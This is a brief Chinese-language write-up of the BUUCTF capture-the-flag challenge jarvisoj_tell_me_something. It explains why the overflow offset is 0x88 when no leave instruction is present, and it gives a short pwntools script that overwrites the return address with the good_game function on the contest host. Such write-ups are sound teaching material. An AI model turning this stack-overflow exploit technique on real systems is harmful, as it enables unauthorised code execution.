BUUCTF jarvisoj_tell_me_something

  1. 用IDA打开

    1

2

  1. 思路基本就是利用栈溢出,执行good_game函数。

  2. 但是有一点,这个汇编可以看到没leave。可以和rip对比一下
    本题无leave

    3

​ rip有leave
4

无leave的话就不用加0x08,直接0x88就可以了

  1. 编写exp

    1
    2
    3
    4
    5
    6
    7
    from pwn import *
    #r = process('./pwn')
    r = remote("node5.buuoj.cn", 29720)
    getshell = 0x400620
    payload_1 = b'a'*(0x88) + p64(getshell)
    r.sendline(payload_1)
    r.interactive()
  2. 得到flag
    5